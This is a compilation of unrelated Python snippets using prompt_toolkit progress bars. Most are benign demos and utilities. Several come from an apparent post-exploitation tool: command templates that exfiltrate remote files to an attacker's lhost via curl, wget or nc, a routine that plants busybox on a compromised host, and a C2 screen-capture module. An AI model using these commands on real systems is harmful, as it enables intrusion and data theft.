def main(): true_color = confirm('Yes true colors? (y/n) ') custom_formatters = [ formatters.Label(), formatters.Text(' '), formatters.Rainbow(formatters.Bar()), formatters.Text(' left: '), formatters.Rainbow(formatters.TimeLeft()), ] if true_color: color_depth = ColorDepth.DEPTH_24_BIT else: color_depth = ColorDepth.DEPTH_8_BIT with ProgressBar(formatters=custom_formatters, color_depth=color_depth) as pb: for i in pb(range(20), label='Downloading...'): time.sleep(1)
def AcqProgBar(ctrl, options, **kwargs): iface = ctrl.hwInterface() info = iface.getHwCtrlObj(Lima.Core.HwCap.DetInfo) frame_dim = FrameDim(info.getDetectorImageSize(), info.getCurrImageType()) exposure_time = options.exposure_time * ur.second latency_time = options.latency_time * ur.second frame_time = exposure_time + latency_time acq_time = (options.nb_frames * frame_time).to_compact() frame_rate = (1 / frame_time).to(ur.Hz).to_compact() model = info.getDetectorModel() dtype = info.getDetectorType() if latency_time > 0: frame_time_str = f'({exposure_time:~.4} + {latency_time:~.4})' else: frame_time_str = f'{exposure_time:~.4}' title = f'Acquiring on {model} ({dtype}) | ' \ f'{options.nb_frames} x {frame_time_str}({frame_rate:~.4}) = {acq_time:~.4} | ' \ f'{frame_dim}' kwargs["title"] = title return ProgressBar(**kwargs)
def main(): custom_formatters = [ formatters.Label(suffix=': '), formatters.Bar(start='|', end='|', sym_a='#', sym_b='#', sym_c='-'), formatters.Text(' '), formatters.Progress(), formatters.Text(' '), formatters.Percentage(), formatters.Text(' [elapsed: '), formatters.TimeElapsed(), formatters.Text(' left: '), formatters.TimeLeft(), formatters.Text(', '), formatters.IterationsPerSecond(), formatters.Text(' iters/sec]'), formatters.Text(' '), ] with ProgressBar(style=style, formatters=custom_formatters) as pb: for i in pb(range(1600), label='Installing'): time.sleep(.01)
def main(): custom_formatters = [ formatters.Label(suffix=": "), formatters.Bar(start="|", end="|", sym_a="#", sym_b="#", sym_c="-"), formatters.Text(" "), formatters.Progress(), formatters.Text(" "), formatters.Percentage(), formatters.Text(" [elapsed: "), formatters.TimeElapsed(), formatters.Text(" left: "), formatters.TimeLeft(), formatters.Text(", "), formatters.IterationsPerSecond(), formatters.Text(" iters/sec]"), formatters.Text(" "), ] with ProgressBar(style=style, formatters=custom_formatters) as pb: for i in pb(range(1600), label="Installing"): time.sleep(0.01)
def main(): params.update({"author_id": s.get(f"{base}/users/@me").json()["id"]}) resource_id = config["Settings"]["resource_id"] if config["Settings"]["type"] in ("server", "guilds"): resource_type = "guilds" elif config["Settings"]["type"] in ("DM", "channels"): resource_id = convert_dm_rid(resource_id) resource_type = "channels" else: sys.exit("set `type` to either `server` or `DM`") to_delete = f"messages in {get_title(resource_type, resource_id)}" if not confirm(HTML(f"Delete {to_delete}?")): sys.exit() with ProgressBar( title=HTML(f"Deleting {to_delete}"), style=Style.from_dict({"bottom-toolbar": "noreverse"}), ) as pb: num_messages = s.get( f"{base}/{resource_type}/{resource_id}/messages/search", params=params ).json()["total_results"] for msg in pb(messages(resource_type, resource_id),total=num_messages): delete(msg, pb)
def citations(ctx, query, max_citations, save, rmfile): """ Query the citations of a paper Example: Go through the citations of a paper and export it in a yaml file papis explore citations 'einstein' export --yaml einstein.yaml """ from prompt_toolkit.shortcuts import ProgressBar import papis.crossref logger = logging.getLogger('explore:citations') documents = papis.api.get_documents_in_lib(papis.api.get_lib(), search=query) doc = papis.api.pick_doc(documents) db = papis.database.get() citations_file = os.path.join(doc.get_main_folder(), 'citations.yaml') if os.path.exists(citations_file): if rmfile: logger.info('Removing {0}'.format(citations_file)) os.remove(citations_file) else: click.echo('A citations file exists in {0}'.format(citations_file)) if papis.utils.confirm('Do you want to use it?'): yaml.callback(citations_file) return if not doc.has('citations') or doc['citations'] == []: logger.warning('No citations found') return dois = [d.get('doi') for d in doc['citations']] if max_citations < 0: max_citations = len(dois) dois = dois[0:min(max_citations, len(dois))] click.echo("%s citations found" % len(dois)) click.echo("Fetching {} citations'".format(max_citations)) dois_with_data = [] with ProgressBar() as progress: for j, doi in progress(enumerate(dois), total=len(dois)): citation = db.query_dict(dict(doi=doi)) if citation: dois_with_data.append(papis.api.pick_doc(citation)) else: dois_with_data.append(papis.crossref.doi_to_data(doi)) docs = [papis.document.Document(data=d) for d in dois_with_data] if save: logger.info('Storing citations in "{0}"'.format(citations_file)) with open(citations_file, 'a+') as fd: logger.info("Writing {} documents' yaml into {}".format( len(docs), citations_file)) yamldata = papis.commands.export.run(docs, yaml=True) fd.write(yamldata) ctx.obj['documents'] += docs
def main(self): image = self.read_image(self.path) # Resize the image if there is --resize flag if "--resize" in self.arg or "-R" in self.arg: image = self.resize_image(image, 360, 640) # rezise into 360p im_list, width, height = self.image_to_list(image) # image.show() filename = self.get_filename(self.path) # Create an workbook instance wb = Workbook() # Select the active worksheet sheet = wb.active # Apend the pixel values to worksheet with ProgressBar() as pb: for row in pb(im_list, label="Converting pixels"): sheet.append(row) # Make conditional formatting rules color_scale_rule_red = ColorScaleRule( start_type="num", start_value=0, start_color="000000", end_type="num", end_value=255, end_color="FF0000", ) color_scale_rule_green = ColorScaleRule( start_type="num", start_value=0, start_color="000000", end_type="num", end_value=255, end_color="00FF00", ) color_scale_rule_blue = ColorScaleRule( start_type="num", start_value=0, start_color="000000", end_type="num", end_value=255, end_color="0000FF", ) # Formula: col_width = (col_height * 0.175) / 3 col_height = 12.75 col_width = (col_height * 0.175) / 3 with ProgressBar() as pb: for i in pb(range(1, width + 1), label="Adding color"): # Convert column number to column letter col = get_column_letter(i) # Make the range string string = col + "1" + ":" + col + str(height) # Set column height, width for the cells sheet.column_dimensions[col].height = col_height sheet.column_dimensions[col].width = col_width # Add conditional formatting based on rules if i % 3 == 1: sheet.conditional_formatting.add(string, color_scale_rule_red) elif i % 3 == 2: sheet.conditional_formatting.add(string, color_scale_rule_green) elif i % 3 == 0: sheet.conditional_formatting.add(string, color_scale_rule_blue) # Create the excel file print("Saving as an excel file...") wb.save(filename=filename)
from prompt_toolkit.shortcuts import ProgressBar import time with ProgressBar() as pb: for i in pb(range(800)): time.sleep(.01)
def bootstrap_busybox(self, url, method): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return with ProgressBar(f"downloading busybox for {self.arch}") as pb: counter = pb(int(r.headers["Content-Length"])) with tempfile.NamedTemporaryFile("wb", delete=False) as filp: last_update = time.time() busybox_local_path = filp.name for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) counter.items_completed += len(chunk) if (time.time() - last_update) > 0.1: pb.invalidate() counter.stopped = True pb.invalidate() time.sleep(0.1) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()) # Upload busybox using the best known method to the remote server self.do_upload( ["-m", method, "-o", busybox_remote_path, busybox_local_path]) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Remove local busybox copy os.unlink(busybox_local_path) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] permissions = (self.run(f"{stat} -c %A {' '.join(which_provides)}" ).decode("utf-8").strip().split("\n")) new_provides = [] for name, perms in zip(provides, permissions): if "No such" in perms: # The remote system doesn't have this binary continue if "s" not in perms.lower(): util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox") new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox") util.success( f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path
def cmd_loop( context: Context = None, client: Client = None, startup=False, log_level=None, ): # pragma: no cover """ Run a REPL for answering SQL queries using ``dask-sql``. Every SQL expression that ``dask-sql`` understands can be used here. Args: context (:obj:`dask_sql.Context`): If set, use this context instead of an empty one. client (:obj:`dask.distributed.Client`): If set, use this dask client instead of a new one. startup (:obj:`bool`): Whether to wait until Apache Calcite was loaded log_level: (:obj:`str`): The log level of the server and dask-sql Example: It is possible to run a REPL by using the CLI script in ``dask-sql`` or by calling this function directly in your user code: .. code-block:: python from dask_sql import cmd_loop # Create your pre-filled context c = Context() ... cmd_loop(context=c) Of course, it is also possible to call the usual ``CREATE TABLE`` commands. """ pd.set_option("display.max_rows", None) pd.set_option("display.max_columns", None) pd.set_option("display.width", None) pd.set_option("display.max_colwidth", None) logging.basicConfig(level=log_level) client = client or Client() context = context or Context() if startup: context.sql("SELECT 1 + 1").compute() session = CompatiblePromptSession(lexer=PygmentsLexer(SqlLexer)) while True: try: text = session.prompt("(dask-sql) > ") except KeyboardInterrupt: continue except EOFError: break text = text.rstrip(";").strip() if not text: continue meta_command_detected = _meta_commands(text, context=context, client=client) if isinstance(meta_command_detected, Client): client = meta_command_detected if not meta_command_detected: try: df = context.sql(text, return_futures=True) if df is not None: # some sql commands returns None df = df.persist() # Now turn it into a list of futures futures = client.futures_of(df) with ProgressBar() as pb: for _ in pb( as_completed(futures), total=len(futures), label="Executing" ): continue df = df.compute() print(df.to_markdown(tablefmt="fancy_grid")) except Exception: traceback.print_exc()
def run(self, command): command_parsed = shlex.split(command) if len(command_parsed) < 2: print('[-] Invalid arguments.') return client_id_or_name = command_parsed[1] if len(command_parsed) > 2: image_path = command.split(' ')[2] else: image_path = '' client_id = self.c2_manager.get_client_id_by_client_name( client_id_or_name) try: b64_image = '' self.c2_manager.master_connection.send_service( client_id, self.MODULE_NAME, {}) recv_parts = 0 msg_recv_order = {} with ProgressBar() as pb: progress_bar = None while True: response = self.c2_manager.master_connection.recv_service_response( client_id, self.MODULE_NAME) if response is None: return if 'error' in response and response[ 'error'] == ClientModuleNotLoaded.CLIENT_ERROR_CODE_MODULE_NOT_FOUND and 'client_type' in response: raise ClientModuleNotLoaded(client_id, self.MODULE_NAME, response['client_type']) if int(response['part']) == 0: progress_bar = pb(total=int(response['of'])) elif progress_bar is not None: progress_bar.item_completed() if recv_parts == int(response['part']): # print('part: {} of {}'.format(str(response['part']), str(response['of']))) b64_image += response['content'] recv_parts += 1 while recv_parts in msg_recv_order: # print('part: {} of {}'.format(recv_parts, str(response['of']))) b64_image += msg_recv_order[recv_parts] del msg_recv_order[recv_parts] recv_parts += 1 else: msg_recv_order[int( response['part'])] = response['content'] if recv_parts > int(response['of']): break if image_path == '': image_name = '{}_{}.jpg'.format( image_path, client_id_or_name, time.strftime("%Y-%m-%d_%H.%M.%S")) else: image_name = '{}/{}_{}.jpg'.format( image_path, client_id_or_name, time.strftime("%Y-%m-%d_%H.%M.%S")) with open(image_name, 'wb') as image_file: image_file.write(base64.b64decode(b64_image.encode())) print('[+] Image saved in {}'.format(image_name)) user_input = prompt('[?] Do you want to open the image? Y/n') if user_input.lower() == 'y' or not user_input: subprocess.run(['open', image_name], check=True) except KeyboardInterrupt: print( '\n[!] Are you sure you want to cancel the screen capture module? Y/n' ) resp = input().lower() if resp != 'y': self.run(command)
def download_footage(self, output_path=Path('downloaded_clips')): """ - Search for footage & get ID values - Try to get the sizes for each clip - Download each clip on it's own - Name the clip and save it to disk in a folder for each camera """ example = "/api/2.0/recording/5bb829e4b3a28701fe50b258/download" meta_cookies = {'cameras.isManagedFilterOn': 'false'} meta_cookies.update(self.session.cookies) # num_clips = len(self.clip_meta_data) url_id_params = str() # Progress Bar Styles and Format style = Style.from_dict({ 'label': 'bg:#000000 #ffffff', 'percentage': 'bg:#000000 #ffffff', 'current': '#448844', 'bar': '', }) custom_formatters = [ formatters.Label(), formatters.Text(': [', style='class:percentage'), formatters.Percentage(), formatters.Text(']', style='class:percentage'), formatters.Text(' '), formatters.Bar(start='[', end=']', sym_a='#', sym_b='>', sym_c='*'), formatters.Text(' '), ] # Create output if it doesn't exist yet self.outputPathCheck(output_path) # pprint(self.dict_info_clip, indent=4) num_clips = len(self.dict_info_clip) with ProgressBar(style=style, formatters=custom_formatters) as pb: for clip in pb(list(self.dict_info_clip), label=f"Downloading {num_clips} Videos", remove_when_done=False): req = requests.Request( 'GET', f"{self.url}/api/2.0/recording/{self.dict_info_clip[clip].clip_id}/download", cookies=meta_cookies) prepped = req.prepare() # print(prepped.url) self.logger.debug( f'Attempting to download clip {self.dict_info_clip[clip].clip_id}' ) r = self.session.send(prepped, stream=True) if r.status_code is 200: self.logger.debug( f'Successfully requested clip {self.dict_info_clip[clip].clip_id}' ) elif r.status_code is 401: self.logger.critical(f'Unauthorized, exiting.') sys.exit(1) else: self.logger.critical( f'Unexpected error occured: {r.status_code}. Exiting.') # pprint(r.text) sys.exit(1) total = r.headers.get('Content-Length') num_chunks = round(int(total) / self.chunk_size) file_path = Path( output_path, self.dict_info_clip[clip].cameraName.replace(' ', '_'), self.dict_info_clip[clip].fullFileName) if not file_path.parent.exists(): file_path.parent.mkdir(exist_ok=True) with open(file_path, 'wb') as f: for data in pb( r.iter_content(chunk_size=self.chunk_size), total=num_chunks, label=f'Downloading', remove_when_done=False, ): f.write(data)
flir.save_images(minTemp=dataset_min, maxTemp=dataset_max) path = input_dialog( title="File or Directory Path", text="Input file or directory path: ", ).run() # check what is at the path the user just provided flir = flirimageextractor.FlirImageExtractor() if os.path.isdir(path): title = HTML("Processing the provided filepath...") thermal_images = [] with ProgressBar(title=title) as pb: for f in pb(listdir(path)): if (isfile(join(path, f)) and f.lower().endswith(".jpg") and not f.startswith(".") and flir.check_for_thermal_image(join(path, f))): thermal_images.append(join(path, f)) if len(thermal_images) == 0: sys.exit( "There are no radiometric images in the directory you provided :(") else: text = f"The directory you provided contains {len(thermal_images)} radiometric images" elif os.path.isfile(path): path_is_thermal = flir.check_for_thermal_image(path) if path_is_thermal:
def progress_bar(self, *args, **kwargs): return ProgressBar(*args, **kwargs)
def do_download(self, argv): uploaders = { "XXXXX": ( "http", "curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}", ), "XXXX": ( "http", "wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}", ), "nxc": ("raw", "nc {lhost} {lport} < {remote_file}"), } servers = {"http": util.receive_http_file, "raw": util.receive_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=uploaders.keys(), default=None, help="set the upload method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to download") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = uploaders[args.method] else: method = None for m, info in uploaders.items(): if m in self.known_binaries: util.info(f"downloading via {m}") method = info break else: util.warn( "no available upload methods. falling back to dd/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) # Get the remote file size size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"') if b"none" in size: util.error(f"{path}: no such file or directory") return size = int(size) with ProgressBar("downloading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](outfile, name, progress=on_progress) command = method[1].format( remote_file=shlex.quote(path), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) print(command) result = self.run(command, wait=False) else: server = None with open(outfile, "wb") as fp: copied = 0 for chunk_nr in range(0, size, 8192): encoded = self.run( f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64" ) chunk = base64.b64decode(encoded) fp.write(chunk) copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
async def progress_counter(): with ProgressBar() as pb: for i in pb(range(800)): time.sleep(.01)
def do_upload(self, argv): """ Upload a file to the remote host """ downloaders = { "curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"), "wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"), "nc": ("raw", "nc {lhost} {lport} > {outfile}"), } servers = {"http": util.serve_http_file, "raw": util.serve_raw_file} parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", choices=downloaders.keys(), default=None, help="set the download method (default: auto)", ) parser.add_argument( "--output", "-o", default="./{basename}", help="path to the output file (default: basename of input)", ) parser.add_argument("path", help="path to the file to upload") try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if self.vars.get("lhost", None) is None: util.error("[!] you must provide an lhost address for reverse connections!") return if not os.path.isfile(args.path): util.error(f"[!] {args.path}: no such file or directory") return if args.method is not None and args.method not in self.known_binaries: util.error(f"{args.method}: method unavailable") elif args.method is not None: method = downloaders[args.method] else: method = None for m, info in downloaders.items(): if m in self.known_binaries: util.info("uploading via {m}") method = info break else: util.warn( "no available upload methods. falling back to echo/base64 method" ) path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) with ProgressBar("uploading") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() def on_progress(copied, blocksz): """ Update the progress bar """ counter.items_completed += blocksz if counter.items_completed >= counter.total: counter.done = True counter.stopped = True if (time.time() - last_update) > 0.1: pb.invalidate() if method is not None: server = servers[method[0]](path, name, progress=on_progress) command = method[1].format( outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name, lport=server.server_address[1], ) result = self.run(command, wait=False) else: server = None with open(path, "rb") as fp: self.run(f"echo -n > {outfile}") copied = 0 for chunk in iter(lambda: fp.read(8192), b""): encoded = base64.b64encode(chunk).decode("utf-8") self.run(f"echo -n {encoded} | base64 -d >> {outfile}") copied += len(chunk) on_progress(copied, len(chunk)) try: while not counter.done: time.sleep(0.1) except KeyboardInterrupt: pass finally: if server is not None: server.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1)
def main(): with ProgressBar(style=style, title="Progress bar example with custom styling.") as pb: for i in pb(range(1600), label="Downloading..."): time.sleep(0.01)
class REPL: """Clase para crear un chat simpl con NTP.""" prompt = '(NTP) ' nickname = 'IP' def __init__( self, transfer: Transfer, cmds: Dict[Text, Callable[[List[Text]], Tuple[bytes, Text, Text]]] = None, ) -> None: """Constructor. :transfer: Es la clase con el protocolo. """ self.t = transfer self.cmd = cmds # Crear el indicador. self.p = PromptSession( self.prompt, # Indicador. history=InMemoryHistory(), # Historial en memoria. auto_suggest=AutoSuggestFromHistory(), # Sugerencias basadas en ) # el historial. # Indicador para guardar archivos. self.pf = PromptSession('Ruta donde desea guardar el archivo: ') def main_loop(self) -> None: """Inicia una sesión en el intérprete.""" while True: try: usr = self.p.prompt() # Solicitar una entrada. except KeyboardInterrupt: continue # Si presiona CTRL-C, pasar. except EOFError: # Con CTRL-D, cerrar el chat. print('Cerrando Chat...') break # Ejecutar el comando. self.one_cmd(usr) # Recibir algún mensaje. self.receive() def one_cmd(self, cmd: Text) -> None: """Ejecuta una línea. Este puede ser sobre-instanciado por una sub-clase. """ if cmd and cmd[0].startswith( '#'): # Ejecutar en caso de ser un comando. cmd = cmd[1:] # Eliminar el carácter #. args = split(cmd) # Separar. if args[0] in self.cmd: cmd = self.cmd[args[0]] try: data, mime, encoding = cmd(args) except: print('Error mientras se procesaba el comando.') else: self.t.send(data, mime, encoding) finally: data = mime = encoding = '' return else: print(f'{cmd.title()}: No se reconoce el comando.') return # Enviar el mensaje. self.t.send(bytes(cmd, 'utf-8'), 'text/plain') def print(self, text: Text) -> None: """Imprime un mensaje en pantalla. Puede ser sobre-instanciado por una sub-clase. """ style = FormattedText([ ('red', f'{self.nickname}: '), # Mostrar de color rojo el usuario. ('gray', text), # Mostrar de color gris el mensaje. ]) # Imprimir el mensaje. print(style) def receive(self): rec = self.t.receive( confirm=self.confirm, per_cent=self.progress_bar) # Recibir el mensaje en crudo. # Recibir un archivo, si no es texto. if rec[1]['mime'] != 'text/plain' and rec[0] is not None: path = self.pf.prompt() if path == '#cancel': return # Si el usuario cancela el archivo. with open(path, 'wb') as fp: fp.write(rec[0]) # Guardar el archivo. elif rec[0] is None: pass # Mostrar el mensaje. else: self.print(rec[0].decode(rec[1]['encoding'])) def confirm(self, header): """Pregunta al usuario si dsea descargar algún archivo.""" self._file = False # Variable para verificar archivos. if header['mime'] != 'text/plain': # Si es diferente de texto plano. self._file = True size = header['size'] # Tamaño en bytes. if size > 1024: # KiloByte. size = size / 1024 size_str = f'{size:.2f} KiB' if int(size) > 1024: # MegaByte. size = size / 1024 size_str = f'{size:.2f} MiB' else: # Byte. size_str = f'{size} B' yes_no = confirm(f'¿Desea recibir este archivo ({size_str})?', ' ([y] Sí | [n] No): ') if yes_no == False: self._file = False return yes_no else: return True def progress_bar(self, pc): """Muestra una barra de progreso.""" # Verificar que sea un archivo. if self._file == False: return else: try: self.pb # Verificar que no exista una barra de progreso. except AttributeError: self._pb = ProgressBar() # Inicializar la barra. self._pb = self._pb.__enter__() # Crear la barra. self.pb = self._pb(range(100)) # Añadir la capacidad máxima. self.pb.items_completed = int(pc) # Fijar porcentaje. self.pb.progress_bar.invalidate() # Mostrar porcentaje. if pc == 100: # Si la barra está llena. self.pb.done = True # Fija hecho a vedadero. self._pb.__exit__() # Eliminar la barra. del self._pb, self.pb # Liberar memoria.
def main(): path = dialogs.path_dialog() if path is None: sys.exit("Successfully exited.") # check what is at the path the user just provided flir = FlirImageExtractor() thermal_images = [] if os.path.isdir(path): title = "Processing the provided filepath..." with ProgressBar(title=title) as pb: for f in pb(listdir(path)): if (isfile(join(path, f)) and f.lower().endswith(".jpg") and not f.startswith(".") and flir.check_for_thermal_image(join(path, f))): thermal_images.append(join(path, f)) if len(thermal_images) == 0: sys.exit( "There are no radiometric images in the directory you provided." ) else: text = f"The directory you provided contains {len(thermal_images)} radiometric images." elif os.path.isfile(path): path_is_thermal = flir.check_for_thermal_image(path) if path_is_thermal: text = "Success, the image you have provided contains thermal data." else: sys.exit( "The file you have provided does not contain thermal data.") else: sys.exit("The path you have provided does not exist.") message_dialog(title="Input Path Confirmation", text=text, ok_text="Continue").run() results_array = dialogs.output_options_checklist() if results_array is None or len(results_array) == 0: sys.exit("Successfully exited.") output_csv = "csv" in results_array if output_csv: results_array.remove("csv") palettes = [] # Add the palette object to the palette array for result in results_array: palettes.append(getattr(cm, result)) metadata = False # only ask the following if the user has selected a colormap if not (len(results_array) == 1 and output_csv): metadata = dialogs.metadata_dialog() custom_temperature = {"use_custom": False, "min": None, "max": None} valid = False while not valid: custom_temperature[ "use_custom"] = dialogs.custom_temperature_dialog() if not custom_temperature["use_custom"]: break custom_temperature["min"] = dialogs.custom_temperature_input( "minimum") if custom_temperature["min"] is None or custom_temperature[ "min"] == "": continue custom_temperature["max"] = dialogs.custom_temperature_input( "maximum") if custom_temperature["max"] is None or custom_temperature[ "max"] == "": continue valid = True logger.info("Processing the images...") processing.multiple_images(folder_path=path, palettes=palettes, custom_temperature=custom_temperature) # If copy metadata to new images was selected if metadata: logger.info("Processing metadata...") processing.fix_metadata(folder_path=path, palette_names=results_array, original_images=thermal_images)
def run(self): with ProgressBar(style=style, formatters=custom_formatters) as pb: for i in pb(range(self.end), label=self.label): time.sleep(self.delay) if not self.running: break
def citations(ctx, query, doc_folder, max_citations, save, rmfile): """ Query the citations of a paper Example: Go through the citations of a paper and export it in a yaml file papis explore citations 'einstein' export --yaml einstein.yaml """ from prompt_toolkit.shortcuts import ProgressBar logger = logging.getLogger('explore:citations') if doc_folder is not None: documents = [papis.document.from_folder(doc_folder)] else: documents = papis.api.get_documents_in_lib(papis.config.get_lib_name(), search=query) if not documents: logger.warning(papis.strings.no_documents_retrieved_message) return doc = papis.api.pick_doc(documents) db = papis.database.get() citations_file = os.path.join(doc.get_main_folder(), 'citations.yaml') if os.path.exists(citations_file): if rmfile: logger.info('Removing {0}'.format(citations_file)) os.remove(citations_file) else: logger.info( 'A citations file exists in {0}'.format(citations_file)) if papis.utils.confirm('Do you want to use it?'): yaml.callback(citations_file) return if not doc.has('citations') or doc['citations'] == []: logger.warning('No citations found') return dois = [d.get('doi') for d in doc['citations'] if d.get('doi')] if max_citations < 0: max_citations = len(dois) dois = dois[0:min(max_citations, len(dois))] logger.info("%s citations found" % len(dois)) logger.info("Fetching {} citations'".format(max_citations)) dois_with_data = [] failed_dois = [] with ProgressBar() as progress: progress.bottom_toolbar = ('Getting {0} doi information'.format( len(dois))) for j, doi in progress(enumerate(dois), total=len(dois)): citation = db.query_dict(dict(doi=doi)) if citation: progress.bottom_toolbar = [('fg:green', 'Found in library'), ('', ' doi: {doi}'.format(doi=doi))] dois_with_data.append(citation[0]) else: try: dois_with_data.append(papis.crossref.doi_to_data(doi)) except ValueError: progress.bottom_toolbar = [ ('fg:ansired', 'Error resolving doi'), ('', ' doi: {doi}'.format(doi=doi)) ] failed_dois.append(doi) except Exception as e: progress.bottom_toolbar = [('fg:ansired', str(e)), ('', ' doi: {doi}'.format(doi=doi))] else: progress.bottom_toolbar = 'doi: {doi}'.format(doi=doi) if failed_dois: logger.error('Dois not found:') for doi in failed_dois: logger.error(doi) docs = [papis.document.Document(data=d) for d in dois_with_data] if save: logger.info('Storing citations in "{0}"'.format(citations_file)) with open(citations_file, 'a+') as fd: logger.info("Writing {} documents' yaml into {}".format( len(docs), citations_file)) yamldata = papis.commands.export.run(docs, to_format='yaml') fd.write(yamldata) ctx.obj['documents'] += docs
def progress(*args, **kwargs): return ProgressBar(*args, **kwargs)
def main(): with ProgressBar() as pb: for i in pb(range(800)): time.sleep(.01)
def main(): with ProgressBar() as pb: for i in pb(data()): time.sleep(0.1)
def main(): with ProgressBar(title='Scrolling task name (make sure the window is not too big).') as pb: for i in pb(range(800), label='This is a very very very long task that requires horizontal scrolling ...'): time.sleep(.01)